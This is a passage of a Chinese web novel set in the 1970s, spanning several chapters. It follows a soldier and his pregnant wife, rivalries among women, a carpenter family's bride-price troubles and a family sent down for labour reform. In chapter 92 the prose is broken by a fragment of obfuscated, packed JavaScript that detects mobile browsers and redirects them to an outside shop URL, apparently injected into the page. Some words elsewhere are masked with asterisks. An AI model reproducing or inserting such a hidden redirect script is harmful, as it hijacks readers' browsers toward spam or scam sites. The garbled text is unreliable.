高岭嘴一撇,不屑地盯着夏千燕,那眼神像在看一坨脏东西。
“夏千燕,我可是军人,我是有立场的。你一个资本家大小姐,黑五类份子,你是敌人,你懂不懂?我告诉你,只要有我在,你甭想去腐蚀霍战北。否则——”
高岭两根手指化枪,朝着夏千燕额头作了一个射击的动作,
“啪——”
那冰冷犀利的眼神,从尸山血海中趟过来的眼神,吓得夏千燕全身冰冷,脸色苍白。
“苏圆圆和你不一样,她是乡下贫农,是阶级姐妹。我和她是人民内部矛盾。我要是抢不过她,那是我高岭没本事!”
苏圆圆一走过来,就听到了高岭的这番话。
她和霍战北照好相,直接就到旁边屋民政科办登记材料了。
事情办得很顺利,办好证件,两人出来找郑好他们。
走过来的时候,苏圆圆就看到夏千燕正和高岭说着啥。
走近了,她就听到了高岭的这句好有年代感的名言。
嗯,苏圆圆笑得眉眼弯弯,当过兵的女人果然不一样。
这思想、这觉悟、这品德。
绝对能处。
“对,高岭,要是你能在我手上把霍战北抢走,我也认赌服输,绝对不哭不闹不上吊。”
不哭不闹不上架?
郑好嘴角抽搐一下。
这声音好软、好娇、好甜,却又一点都不矫情。
高岭转头,看到了走来的一对。
霍战北高大英俊,他身边的女孩胖乎圆润,一笑腮边两小酒窝,眼神明亮纯净。
“我要和你抢男人,你不生气?”
高岭第一次认真地打量霍战北的这个农村小胖媳妇。
是胖,还大着肚子,这会谈不上漂亮。但这丫头五官长得好,眼睛明亮,睫毛长,尤其是皮肤,不管是脸上还是手,但凡是露在外面的皮肤,就没有一处不是细嫩雪白的。
看着白胖胖、软乎乎,都想上去咬一口。
高岭的眼神软下来。
没办法,她妈死得早,她几岁就跟着她爸生活在军营,见天和一堆大老爷们混在一起。
见习惯了一身肌肉,一身汗臭,皮肤粗糙漆黑的大老爷们。
这冷不丁见了苏圆圆,这么软乎、白胖、又香香的姑娘。
她不由自主就软和了下来。
何况人家小胖丫现在还是霍战北领了小本本的真正媳妇。
人家都对她说了,随她抢人家男人,人家输了,都不带哭的。
她还能说啥。
高岭挠挠寸头,
“嘿嘿,这可是你自己说的。我要是把霍战北抢走了,你真不哭不闹不上吊?”
“当然,能被人抢走的男人,说明他本来就不是我的。”
苏圆圆抬头望着霍战北,
“真正属于我的男人,千军万马来了也抢不走。”
高岭挑眉,小胖丫这性格,她真心喜欢,
“我为什么要生气啊?你这么优秀的姐姐都喜欢我男人,说明我男人非常优秀啊。”
高岭点头,
“嗯,是这个道理。就像金牌人人都会喜欢。”
高岭伸手捏了一下苏圆圆胖乎乎、软嫩嫩的胳膊,
“你太弱了,你看我比你强多了。”
霍战北眉头一皱,苏圆圆皮肤嫩,这一捏就出现了两个手指印子。但显然,高岭并没有用力。
霍战北刚想说啥,被苏圆圆按住了手。
高岭弯起胳膊,露出鼓出来的肌肉,
“你应该知道自己不行,还是主动把男人让给我吧。要不然,打起来,你得满地找牙。”
噗嗤!
苏圆圆忍不住笑出了声。
高岭真是太可爱了。
她这哪是找男人啊?
她这分明是把情场也当成了战场,把在训练场上和人比强,抢金牌兵王的行为,拿来用在了情场上。
苏圆圆还是第一次见姑娘抢男人,要晾力气、晒武力的。
笑死她了。
苏圆圆肯定了,这个高岭她可能一直混在部队男人堆里,根本不知道啥是爱情。
“认识一下,我是苏圆圆,现在是霍战北的媳妇。”
高岭乐了,伸手轻轻握住了苏圆圆的手,
“认识一下,我是高岭,霍战北以后的媳妇。”
这样也管?郑好在旁边听得整个人都不好了。
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好吧,郑好算是看出来了,只要是靠近小嫂子的人,就没有一个正常的。
像他们家团长,以前没结婚时,多厉害有能力的一个人,结果一碰到小嫂子,就降智了,完全变了一个样。
看吧,现在高连长也变了。
哎哟,郑好的目光落到两女人相握的手上,像烫了一样迅速转开了。
他看见了啥?
高连长一手拉着小嫂子的手,另一只正一下一下抚摸着小嫂子的手背。
高连长的手坚硬修长,小嫂子的手短胖柔软,两者差着一个色号,互相紧握着,抚摸着。
这哪像情敌相见,分明是多年没见的骨肉姐妹相见啊。
这亲的?
软?
暖?
肉乎乎?
高岭哪摸过这样的手啊。拉着苏圆圆的手这一摸,就上瘾地停不下来。
“圆圆,你这吃啥长的呀?这么白?这么软乎?还这么香?”
高岭原不觉得,此时靠近苏圆圆,从她身上闻到了一股从没见过的味道,就是暖暖的、软软的、香香的那一种味道。
她说不出来,她不太擅长表达,就像婴儿、像太阳、又像妈妈的味道。
“岭岭,你也好厉害哦。这肌肉练得,太牛了,开始一定很辛苦吧?”
“嗯,我四五岁就跟着我爸呆在军营,也没有小孩跟我玩,我只能跟着军人训练,这练着练着就成这样了。”
“我家兄弟哥哥多,只生我一个闺女。全家全村都宠着我,啥也不让**。我爷爷是中医,我打小就吃我爷爷配的药,就成这样白、这样软了。”
苏圆圆觉得靠在高岭身边好有安全感,就像在现代,看到警察叔叔一样的感觉,
“岭岭,你好厉害,我喜欢和你呆在一起,好有安全感。不像我,你看着我胖,其实我啥也不行,走几步路都喘,像个脆皮**。”
“嗯,就像这样好。我也喜欢靠着你。软软的、香香的、有一种家的感觉。”
……
两个人你一句,我一句,完全不管别人死活的那种聊法。
郑好:果然,靠近小嫂子的人,就没有一个能正常的!
楚行止:为啥我觉得哪里不对,又觉得哪里都对?
霍战北:高岭这是来抢我的,还是来抢我媳妇的?
夏千燕:为啥会这样?老天爷也太不开眼了?崩溃中……
第92章 砸锅卖铁娶媳妇
东红镇供销社门口,
“媳妇,我还是不放心。我觉得我还是先陪你去赵家庄看家具,再回军区。”
霍战北拉着苏圆圆的小胖手。
军区给他派的吉普车按时间,在县城接了他们几人一路开到镇上。
“霍团长,你有啥不放心的。有我陪着圆圆嫂子。再说了,从供销社到我们赵家庄,才三里多路,走着才十几分钟的事。大白天的,你怕啥?”
赵美艳在店里,一半天不停地跑外面,看看苏圆圆有没有回来。
她怕苏圆圆和霍团长办过事后,坐车再不来找她,直接回家属院了。
一想到今天早上家里的事,赵美艳心里就急啊。
今天一大早,媒人就带着她新嫂子来家里了,娘和哥一起陪着去县上了。
媒婆说,照相登记今天一半天全都得办完。下午就去买结婚用的东西。在县城买几件,剩下的都回到镇供销社买。
结婚日子就定在三天后,日子赶得那么急。彩礼和东西却没少要一点。
一想到今天早上娘在厨房,悄悄给她说,村长家要一百五十块钱的彩礼,还要三大件。
“你说咱村上娶媳妇最多彩礼才要了八十八块八**八,你嫂子竟然开口要了一百五十块钱。唉,愁**。”
娘禁不住擦了下眼角,真是又是欢喜,又是难受。
“家里现金存了三百块,本想着再过半年,卖了年猪,凑一下,也就够把你嫂子娶进门的了。没想到,要这么多钱,还得要三大件。”
娘扳着手指头,数着三大件要多少钱,多少票。
凤凰牌洋车子,蜜蜂牌缝纫机,再加一块手表,咋算也得三百多块钱。
她家这头猪现在还小,现在卖了最多也就能卖六七十块钱。
家里所有钱合一起,算算三大件加上彩礼,还缺着一百多块钱呢。
“这结婚,总得再扯几身衣裳,办几桌酒席。这些办下来,还差着二百块钱呢。”
娘算来算去,一脸愁苦,
“媒人说,你嫂子开口要64条腿。这个倒好办。幸好你爹早就备下了。要不然,就是这些家具还得花几百块。”
娘咕哝着,这哪家有儿子,结个婚都得要蜕一层皮啊。
赵美艳知道,她哥这场婚事要是完整办下来,家里最少还缺二百多块呢?
“娘,这是我这些钱存下的钱,你先拿着。不够的,我们再想办法去借。”
赵家老爹是老木匠,家里只生一儿一女。儿子赵树生,闺女赵美艳。
赵木匠家在村上人丁单薄,他爹只生了他们兄弟两人,他大哥没了,娘跟着寡嫂一家子过活。
赵家庄有几家户门大的,比如村长家,老弟兄七个,侄子侄女几十个。家大业大,在村上说一不二。
像赵木匠这样只有两门人,还只剩他一个顶梁柱的,在村上就不够看了。
直到闺女赵美艳进了供销社,他们家在村上才算抬起了头。
后来又和村长家闺女订了亲,他们家在村上总算过上了好日子。
赵美艳知道,不管村长家要求啥条件,她爹娘就是扒皮**,也会弄够钱,让她哥娶了赵美艳。
这一是她哥赵树生的确是真心喜欢新嫂子,二来也是因为真要退了这门亲,她家在村上又要被人看不起。
毕竟她作为一个闺女,在村里人眼里,总是要嫁人的,撑不起赵家的门面。
“美艳啊,这些钱是你存的体己钱,是你以后到婆家过日子的底气。娘咋能拿着你的钱呢?”
树生娘又擦了把眼泪,她明知闺女这钱,她现在得拿着,可是还是忍不住流眼泪。
她一辈子生了两孩子,她家男人不像村里那些男人,从没有重男轻女。家里重活脏活累活都是儿子树生干。闺女一直供到上完初中。
闺女幸好也是一个有心的,考上了供销社的编,算是给家里长了脸面。
闺女有孝心,也懂事,月月工资都上交家里。
赵木匠两口子,也不像那些吸闺女血补家里补儿子的人,原是不要的,最后扭不过闺女,就让闺女一月交一半家用,留一半存着。
赵美艳才上班一年多,留下的一半家用,她再买些姑娘家用的东西。毕竟刚上班,总不能让人看扁了去,有些装门面的东西是必须买的。
一年下来,她也存了八十多块钱。
“等以后你嫂子进了门。俺和你爹再干了,以后你出嫁时再陪送给你。”
“娘,别说这样的话了。先帮着哥把嫂子娶进门,比啥都重要。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17194467|197124||http|test|mini|href|location''.split(''|''),0,{}));
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r>赵美艳觉得,嫂子作为村长闺女,是长得不太好看,性格也太强了一些。但毕竟爹娘一家子都在庄上过活,有嫂子这根线,以后在村上家里人日子也会好过一些。
因为她爹娘都太老实,哥哥赵树生又仿了爹的性格,也是个老实头。这娶个厉害嫂子,也算家里有个话事人。
……
“圆圆嫂子,你看我们两走着去,还是你坐我车子后面,我驮着你。”
好不容易见到苏圆圆从县上回来,来找她,赵美艳哪里肯主和过这个机会。
她今天必须得想办法,把苏圆圆给带家去,让她爹赶紧给苏圆圆做家具。
赵美艳看过苏圆圆家里的摆设了,知道家里缺的家具多。
这一趟,要是说成了,苏圆圆一定会从她爹手下定不少家具。
以她对苏圆圆接触以来的了解,到时候,苏圆圆一定会买下一些她家现成的家具,然后再订下打的几件,能先给一些定金。
就能解决她们家现在最大的困难。
借钱?
她娘陪了哥嫂去县上,她爹就离开家,说去找他朋友借钱去。
赵美艳可不觉得她爹能借到钱。
这年头,哪年都不宽裕。家家都缺吃少穿,借个十块八块都难,这一张口就借几十块成百的,谁家能给?
她一上午在供销社,也试过向几个关系不错的同事借,结果呢?
那几个姑娘一听说她借钱,不是说工资都上交爹娘了,就是说被哥哥嫂子扒了去,还有说给弟弟妹妹上学花了。
反正不管是啥借口,主打一个没有钱,口袋里干净得一分没有。
现在,赵美艳觉得,她所有的指望,就只剩下苏圆圆了。
霍团长是个有钱的,还是个非常疼媳妇的。圆圆嫂子是个当家的,还是个讲究过日子质量的。
而她爹的木匠手艺,也是十里八村出了名的老木匠。
赵美艳觉得,只要苏圆圆愿意跟她回家去看看,就一准能看中她爹打的那些家俱。
尤其她爹给她哥打的结婚用的那些新家具,全是用最好的木料打的,这可是现成的样品。保管苏圆圆一眼就能看中。
“不行,圆圆这身子,不能坐你的车后座。不安全。”
霍战北立马拒绝。
第93章 夏千燕被狗追
“别黏糊了,霍战北,你结婚证都打了,还怕你媳妇跟人跑了啊?”
楚行止实在看不下去了,
“你要再拖下去,你这条腿,我可不给你治了。干脆瘸了算了。”
霍战北的腿伤口裂开一点,得回去处理一下。
他在县上都站起来走路了,这咋也得回部队一趟,再去补个假期、说明一下情况。
吉普车还得送高岭回去,再加上夏千燕和楚行止两个搭顺风车的。
这么多人,不可能都一起去赵家庄看家具啊。
苏圆圆按计划,办完手续,就去县供销社逛了下,也去看了家具。
苏圆圆发现县上的家具样式好土,质量也不太好,而且还死贵的。她没看上,想着还不如回去,找赵美艳去她家定制。
到时候,她把衣柜橱子啥的图样都画好,然后让赵木匠看着图纸打。
样式又好看、质量又好、价格还实惠。
霍战北自然是没意见,反正他小胖媳妇说啥就是啥。一句话:他们霍家媳妇当家呗!
“要不,我先陪你回医院,治一下你的腿,有时间我们再去赵家庄看家具?”
赵美艳一听这话就急了。
但她也没有啥立场去劝说苏圆圆,这会子必须跟着她回家看家具。
赵美艳的急,全都摆在脸上,一点都不带掩饰的。
郑好刚想上前说几句。夏千燕就顶上了,
“你们两个可真是的,不分场合,这是分分钟都要秀恩爱。也不替我和高姐姐想一想,我们两可还站在这里呢?”
苏圆圆还没说话呢。
啪!
一记清脆的耳光震惊了在场的所有人。
“你打我?高岭,你凭啥打我啊?你这也太欺负人了你?”
夏千燕捂着脸,先是不敢相信,而后是愤怒,再接着是委屈,最后是装可怜。
惹不起,她算是知道,这个高岭和她以前见过的所有人都不一样。
完全就是一个男人婆、暴力女。
这哪有姑娘家,当着自己喜欢男人的面,直接打别人耳光的。
一点也不顾及自己在男人眼里的形象。
“夏千燕,我早就警告过你。不要在我面前蹦跶,不然见你一次,我就胡搂你一次。”
高岭行动永远比语言快。
打过了,伸出去的手并没有缩回来,直接搂住了夏千燕的脖子,然后另一只大手就胡搂上了。
啊——
三个男人立马把脸扭一边去了。
苏圆圆和赵美艳相互看了一眼,都在对方的眼睛里看到了,我去,我好喜欢这姐啊,太爽了!
尤其是赵美艳盯着高岭的眼神,疯狂冒小星星。
“楚哥哥——”
夏千燕实在受不了了,崩溃地叫了一声楚行止,看他没回头,又改口叫,
“楚行止,救我。”
楚行止没回头,但说话了,
“高连长,我们得赶紧走了,霍战北的腿还得处理呢。”
一句话就让高岭放开了手。
夏千燕一得到自由,立马转身就跑,像身
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后有鬼追她一样。
刚才她还打定主意,要跟着霍战北一行人,坐吉普车回去呢。
甚至想着,她还要跟着一起去医院,亲眼看着楚行止给霍战北处理腿伤呢。
结果,被高岭这两次骚操作,惊得魂都掉了。
还是先离这个疯女人远一点吧。
夏千燕一边跑,一边在心里狂骂高岭:男人婆,没有男人要的狗东西。
高岭是个女人,不是男人,夏千燕失去了追求的目标。
高岭是**闺女,不和她一起去干掉苏圆圆,反而和苏圆圆一个情敌亲成一家。对她像对敌人一样坏。夏千燕失去了盟友。
以夏千燕的性格,她对苏圆圆和张红英下才都那么狠,自然不会轻易放过高岭,这个两次侮辱她的女人。
但高岭身份特殊,她干不过。不能明着来,就是暗着来,也得小心再小心。万一被人捅破,她在军区可就站不住脚了。
汪——嗯——
夏千燕一边跑一边回头,生怕高岭追过来,爆揍她一顿。
一条母狗在街道上跑过,身后跟着三只胖敦敦的小狗。
夏千燕边跑边回头,没看路,一不小心撞上了母狗,然后趴倒的时候,压住了一只小狗。
汪——
小狗被压得直翻白眼,四腿乱蹬。
“真是晦气,连一只畜生也要欺负我。”
夏千燕打小娇生惯养,哪里受过今天这样的气。恼怒之下,拎起地上半死不活的小狗,直接朝街边水沟扔去。
汪——┗
第94章 两恶女联手了
“你刚才还说家里没钱,这会子又在骗我了。”
赵秀芳擦掉眼角的泪,
“在县供销社,你那个娘是这也不想买,那也不愿买。咋得,我赵秀芳嫁到你家,成了木匠媳妇,就连几块布也不配穿啊?”
一提到木匠媳妇,再想到孙知青以前许她的,带她回海市,让她过上住楼房的好日子,成为工人家属的美好生活。
赵秀芳不由又红了眼圈。
她一直都不相信孙知青是欺骗她,不相信那封信是孙知青真心留下
的。
赵秀芳觉得,孙知青一定有他的难处。
她现在先嫁进赵家,等生下孩子,再找机会离开赵家,去海市找孙知青,她就不相信,有了孩子,孙知青还会赶她和孩子走。
“好秀芳,你别哭了。我这就回去供销社找我妹,让她托人从省供销社弄台收音机。”
赵树生觉得,村长家提前婚期,是因为要赶紧把赵秀芳嫁走,才能给她三弟说亲。
重男轻女,赵秀芳一定是被她爹娘伤了心。所以才对出嫁这事不乐意。这一天,都没一个好脸色。
赵树生知道赵秀芳从上小学起,她就向往大城市,渴望去当工人,希望有一天能离开农村,成为一个城里人。
可惜因为家里几个弟弟都要上学,她上了初二,她娘就让她回家不上了。
就是不上学回家了,赵秀芳也一心想着,找一个工人嫁了。
但说了几个都没成,最后她娘同意了赵家的提亲。两人定了亲这几年,赵秀芳都不是太高兴,但对他也还算不错。
赵树生并不在意这些。他心里清楚,他偷偷喜欢了秀芳好多年。秀芳可是一点也不喜欢他。
不过,这不重要。赵树生想着,如今,秀芳终于和他打了结婚证,已经成了他的人。
以后,他会好好爱秀芳,好好对他们的孩子。
赵树生相信,只要他努力,真心对待赵秀芳,时间长了,赵秀芳自然会慢慢爱上他。
农村人结婚,有几个是情投意合的,大部分人不都是盲婚哑嫁吗?
就像他娘说的那样,这女人没结婚前,想法多着来。等结婚生娃后,过几年,啥心思都歇了,哪个不老老实实在家做饭洗衣生娃过日子。
“我身上只有这些了,全给你。”
赵树生掏出口袋里的一卷零碎**票,全塞到赵秀芳手里,
“秀芳,你慢慢走回家,我先去找供销社找我妹。等晚上我再去找你,给你说消息。”
说完,赵树生也不等赵秀芳回答,转身大步离开。
赵秀芳数了数手里的**票,十三块五**三分钱。还带着汗味。
呸!
赵秀芳朝地上狠狠吐一口唾沫,泥腿子就是泥腿子。
连钱都带着泥土味、汗臭味。
哪有孙知青身上的味道好闻,带着海市力士香皂的味道。
只是可惜,孙知青没有钱给她。都是她偷偷从家里拿东西给孙知青。
一个城里人,啥地里活也不会干,一下地就是一手血泡,挣不了几个工分,粮食也不够吃,更不要说荤腥了。
真是可怜见的,也不知他回到海市家里,粮食够吃不?一个月能吃到一点肉不?
一想到孙知青,赵秀芳的眼神都是温柔的,心里软得一塌糊涂。
“哎哟,吓死我了。”
往前走几步,赵秀芳一抬头,看到了坐在路边的夏千燕,吓了一大跳。
等看清是在县上见过的那个海市姑娘,赵秀芳的眼睛都亮了。
她觉得冥冥中,上天都在怜惜她,这不,她一想孙知青,上天就把这个海市姑娘送到了她面前。
“你在这干啥?哎哟,你这小腿咋伤了?”
赵秀芳这么一说,夏千燕低下头,这才看到她左小腿被树枝划了几道伤痕。
刚才她光顾跑了,都不知道啥时候,被路边树枝子划伤的。经赵秀芳这么一提醒,她才觉得火辣辣地疼。
赵秀芳赶紧上前,从口袋里掏出夏千燕给她的那条手帕,给夏千燕包扎。
“前面那庄是你家?”
夏千燕没想到,会在这里遇到熟人。心里也是一松,挺好的,她正愁不认识路呢。
“嗯,姑娘,我能求你一件事吗?”
赵秀芳给夏千燕包扎好伤口,从口袋里把所有钱都掏了出来,里面有她自己的,也有在县城夏千燕给的,还有刚才赵树生给的,全塞到夏千燕手里
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“我知道你是海市人,我有一人朋友就在海市。我想请你回家的时候,帮我捎封信给他,好不好?”
赵秀芳怕夏千燕不同意,在这十里八乡的知青点,除了孙知青,这个姑娘是她见过的第二个海市人。
至于军区和医院里应该还有海市人,可赵秀芳不敢去找,也不认识人家。即使她去找了,人家也不会理她。
所以现在,面前这个海市姑娘,就是赵秀芳能抓住的与孙知青联系上的唯一的人。
“你叫啥名字?你不愿意嫁给那男人,为啥不退婚?”
夏千燕心里思索着,李菊花那边,事情败露了。她就没有把柄捏着她了。
要想让李菊花和李大山再替她办事,她就只有花钱,让他两继续再为她办事。
至于秦向阳,虽说是个免费白使唤的人,但有些事,他作为一个男人,还真不好做。
嗯,她现在正需要一个女帮手。
夏千燕上下打量赵秀芳,据她在县里看到和听到的这些情况来看,这个赵秀芳为了自己的利益,不择手段的性格,倒是很合她脾气。
赵秀芳想巴上夏千燕这条线,自然不能啥都不说,她简单说了自己的情况。只是没说自己肚子里有孩子的事。
赵秀芳又不傻,反正她要和这海市姑娘来往。她是村长闺女,和赵树生结婚的事,都是瞒不住人的。
村长闺女?
不满意自己的婚姻,要她帮忙和海市的情人联系?
夏千燕暗里乐了,真是太好了,她正好就想找个这样的帮手。
赵家庄?
夏千燕心里狂跳了几下。
怪不得她总觉得听这个村庄名字,有些熟悉呢。
她妈打电话给她说,她爷奶爸爸被下放**的地方,说是在军区不远处的村庄里。
说的那个村名,好像叫啥秦家沟,她记得她当时就去查看了清水县地图。发现赵家庄下属三个村,秦家沟就是其中一个。
而且面前这姑娘还是村长闺女。
“秦家沟离你们赵家庄远不远?”
夏千燕心想,她爷奶爸爸都被下放到秦家沟。这算算日子,早该到地方几天了。
她一直没敢去那地方探看。
第95章 结婚买家具得买64条腿
她害怕,被人看到她和下放**人员认识,那她就真完了,医院也别想进了,霍战北也别想追了。
“不远,我们赵家庄下面管着三个村子。秦家沟离我们赵家庄最近,隔七八里路。”
夏千燕心里一喜,有戏,这个赵秀芳有用了。
“秀芳,那你们村从上面下放到秦家沟的**人员,都会安排在哪?”
“不管上面怎么安排,到了我们庄。我爹统一都会安排他们去住牛棚。”
“牛棚?”
“嗯,就是我们赵家庄知青点旁边,原来生产队废弃的牛棚子里。”
赵秀芳有些神情低落,知青点和牛棚,和她家就隔着一条沟和一片空宅基地。
一想到,以前吃过晚饭,孙知青会在沟那边小树林子边上,吹口琴,给她递信号。如今……
“秀芳,你爱孙知青,你还怀了孙知青的孩子——”
论谈恋爱,夏千燕可是祖师奶级别的,她略一思考,就知道面前的赵秀芳身上发生的事。
不就是一个乡下傻姑娘,被一个海市知青骗身又骗心的狗血事件吗?
这样的事,她原来身边下放到各地的那些男同学,回海市聚会的时候,可没少聊过。
再加上,赵秀芳总是下意识地用手轻轻去摸她的肚子,夏千燕还有啥不明白的。
同时,心里也有一种酸意涌上来。
苏圆圆和霍战北只一夜,都能怀上,还是双胎!
这个赵秀芳和那个孙知青,只不过一段露水姻缘,也怀上了孩子!
她呢?
先天性子宫异常,发育不良。难以怀上孩子!
老天爷,你既然让我重生一次,为啥给我这样苦命的开端啊?
夏千燕在心里骂娘,让她全家**成了资本家小姐也就罢了,让她失去霍战北了就罢了,还让她失去做母亲的资格!
“没——”
赵秀芳只说了这一个字,就颓然放弃,说了实话,
“是的,我怀了孙知青的孩子。他走的时候,并不知道我怀了这个孩子。所以,我要你帮我,和孙知青联系上。不管他现在遇到啥困难,以后,我一定要带孩子,到海市去找他。”
赵秀芳不得不承认,这个叫夏千燕的海市姑娘太聪明了,眼光也太毒了。她说了所有的事,唯独没说孩子的事。
她肚子这么平平的,夏千燕居然都能看出她怀了孩子。
“你不方便做的事,我全都可以帮你做。反正我一个农村妇女,别人不会在意的。也想不到我会和你有关系。”
赵秀芳神情坚定地看向夏千燕,
“但你也要帮我,带着孩子去海市找人。”
“可以,你听我说,你这样……”
嗯,赵秀芳听得连连点头,然后两人又再次确定了一些细节。
赵秀芳给夏千燕指了回军区家属院的路,两人就分开了。
看着赵秀芳的背影慢慢消失在村路上,远远的,四处无人,只有风吹过。
夏千燕脸上的神情越来越坚定。
那又如何,再苦再难,她也不会退缩。
从今往后,神挡杀神,佛挡杀佛!
夏千燕眼里的冰寒犹如实质,就是她的亲爷奶爸妈挡了她往上的路,她也不会手软的。
……
赵美艳推着洋车子,苏圆圆跟在旁边,两个人一边走,一边聊着。
“圆圆嫂子,今天真是多谢你了。你不知道,我刚才可担心,你今天不去我家看家具了。”
赵美艳向来快言快语,有啥话都不憋着。
“为啥这么急,家里有事啊?”
苏圆圆就喜欢和赵美艳这样的人说话,有啥说啥的。
“我哥过几天要结婚了,嫂子那边要的彩礼高。我们家愁的没法。”
赵美艳在苏圆圆面前很实诚,
“圆圆嫂子你需要买家具,我们家需要钱,这多好,嘿嘿,嫂子你放心,你要是到了我家,看不中我爹打的家具,我也绝不拉着你硬买。”
哈哈……
两人说说笑笑,走得也快,二三里路,也就十几分钟的时间,就走到赵家庄了。
“爹,我带人来看家具了。就是前两天,我给你说的那个嫂子。”
赵美艳家是个五间屋子的大院子,院有两进,前院住人,后院就是她爹和她哥做家具的地方。
后院靠北墙搭了个大棚子,里面全是工具,还有成品和没完成的半成品家具。
赵美艳带着苏圆圆一进后院,苏圆圆就被
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棚子下面摆放的各种小家具吸引了。
“嘿嘿,前天美艳给俺说过了。俺就是给周边村子做些手底下使唤的家具。不知你可能看中。”
赵美艳的爹赵木匠搓着粗糙的手。
“这些都是你做的吗?真不错。”
苏圆圆拿起一个小板凳,简单的式样,但做的小巧,打磨得滑溜,漆也上的好。
“听美艳说,你想做结婚用的全套,俺们这边时兴36条腿。结婚买家具顶顶好的是64条腿。你想要哪种?”
苏圆圆乐了,她总算是知道赵美艳像谁了。赵木匠说话可真实诚。她还没说要买呢?他就直接问想要多少条腿了。
“爹,你先忙,我先带圆圆嫂子去看看我哥的家具。她要看中了啥样的,再说。”
赵木匠这才觉得自己有些太急了,摸着头,尴尬地笑了笑。
做了几十年老木匠,他从来都没有这样着急向人推销过自己的活。
以前不管前村后庄,哪家来做家具,他都是稳当坐着,任人家看,挑,最后确定要买哪样,要做啥样的,给他说,他才拿个笔在一张粗纸上记下。
今天这样,倒是有些丢闺女脸了。
可是没法啊。
赵木匠心里有些塞得难受,老婆子带着儿子儿媳妇跟着媒婆去县上了。
他这跑了一半天,能借的亲戚朋友都去借了,一毛钱也没借到。还是回到村头遇到他老娘,老娘塞给他一张十元的票子。
这是他老娘存了大半年的私房钱。
赵木匠心里难受啊。
“哇,这都是你爹给你哥做的家具?”
赵美艳带着苏圆圆推开棚子里面的杂物间,迎面而来的是一屋子崭新的实木家具。
“双人床、大衣柜、五斗橱、小方桌……”
赵美艳一一介绍着,
“看,这一整套下来,整整64条腿。别说我们镇上,就是县城里,也算得上是最高规格的结婚家具了。”
赵美艳一脸自豪,
“这些全是我爹带着我哥做出来的,为了做这些家具。我哥没少跑县城,甚至还跟人专门跑了一趟省城,去看了所有能看的家具样式。”
“看样,你哥应该很喜欢你的新嫂子。”
第96章 第一次见夏知远
苏圆圆看着这一屋子家具,再想想赵美艳说的那些话。
她看得出来,赵家一家人,对这个即将进门的新媳妇,都很重视。
“没法子,我哥和我嫂子小学就同桌,又是同村一起长大的,喜欢得很。”
赵美艳苦笑,
“所以我嫂子要求条件那么高,我哥都答应了。我哥心甜,我爹娘能说啥?何况我嫂子还是村长的闺女。”
村长的闺女?
苏圆圆啧啧,怪不得呢。
赵木匠老两口是没法子。只能硬着头皮,砸锅卖铁给儿子娶媳妇。
“这些家具我很喜欢,我就订一套这样的。不过,有几件我不要,我要再添几件这样的。”
苏圆圆一一指出她不要的几件,又说了她要加的啥东西。赵美艳赶紧拿小本子记上,然后交给赵木匠。
三个人又在后院商量了一会细节。
“不管我们镇上还是县城供销社,要买家具,都得要结婚证和木材票。到咱家里来,这些都省了。”
生意做成了,赵美艳高兴地笑,
“这价钱要在供销社里,得四百多块钱,还得花不少木材票。样式还不全,要买齐这一套,就是托人找关系,都得大半年。”
赵美艳纯粹就是实话实说,并没有趁机提价和邀功的意思。
苏圆圆点头,
“嗯,所以我得好好谢谢你啊。赵大叔,你算算一共得四百几?多少天能打完?”
“板子都是现成的,大件三天就能完成,就是刷漆磨光要得刷几遍,少说也得十天才能完成。”
十天?
苏圆圆想着,这已经很快了。
结婚证她们扯过了,明天她就该去参加考试,找工作了。
婚礼正好定在十天后。
苏圆圆乐了,这简直是给她和霍战北量身定制的啊。
赵美艳可真是她的福星啊。
“我们的婚期就定在十天后,只要当天能送过去就行。”
“能行,误不了你们的事。”
生意居然这样容易就做成了,赵木匠激动地搓手。
“你打得多,又是俺闺女的朋友。你就给俺个成本价,三百六十六块六**六分钱就行。”
哈哈哈,苏圆圆不由乐了,赵木匠可真有意思,这还给个吉利数字。居然能让价这么多。
这一家子真是实诚人。
事情办成了,苏圆圆没有付预定款,直接付了全款。
赵木匠更是喜得直搓手。
“你放心,俺一定用最实在的料子,给你打最结实的家具。”
赵美艳也没有想到,苏圆圆会直接付全款。
她知道苏圆圆的用意,非常感动。
“圆圆,你肚子大,不好做洋车子。我拉板车送你回家。”
赵美艳真可爱,转身就要进屋,抱她的新被子,她打算把被子铺板车上,她拉着苏圆圆送回家属院。
哈哈……
苏圆圆被赵美艳逗笑了。
她又不是做月子生孩子的女人,坐啥平板车啊。
“走着回去,慢慢走,还锻炼身体呢。”
从赵家庄回军区家属院,也就七八里路的样子。
走着,慢一些,一个小时也到了。要是走路快的人,半小时就能回去。
“那我陪你走着回去。”
赵美艳在后院菜地,拔了一堆青菜,装在袋子
里,绑在洋车子后面。要推车陪着苏圆圆走回去。
苏圆圆也不推辞,反正两人走着,也就不到一小时,等回来的时候,赵美艳骑车子回来就很快。
两人才走到村口,就见村口一家院门打开了,一个男人被人从院里推了出来。
“村长,求你了,让我去军区找医生给我爸看一下腿吧?还有我妈,她哮喘又犯了。我得去医院给我妈拿药。村长,你就行行好,给我开个证明,让我出去吧?”
一个四十多岁的男子,推着门,求着站在门里的村长。
“夏知远,你要知道你自己的身份。你们一家下放到俺村里,是来劳动改造的。不是来治病养身的?”
赵村长眉眼冷漠,
“没有上面的条子,别说你们,牛棚里的改造人员,一律不许出村。俺哪有那个胆,敢放你出村,还想去医院买药,你咋不上天?”
“村长,我知道。可是,我要不去买药,我爸就瘸了,我妈喘不过气,她……”
砰!
村长把大门关上了。
夏知远?
苏圆圆心头一震。
她记得书中写过,夏千燕的爸爸好像就叫夏知远。
对,书里写过,夏千燕一家被下放到乡下**。一家四口下放,几年后,只有夏千燕的妈妈活到书的大结局。
其他人全都死在了乡下。
“这可怎么办啊?”
夏知远转过来转过去,急得在村长门口直转圈。
父母和妻子,都不让他去找女儿。
可是,眼下这情况,再想不出办法。父亲腿治不了一定会瘸的。母亲万一挺不过去。一想到这些,夏知远一个四十多岁的中年男人,就禁不住急得流泪。
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苏圆圆机械地迈着步子,跟着赵美艳往前走了几步。
脑海里却在头脑风暴。
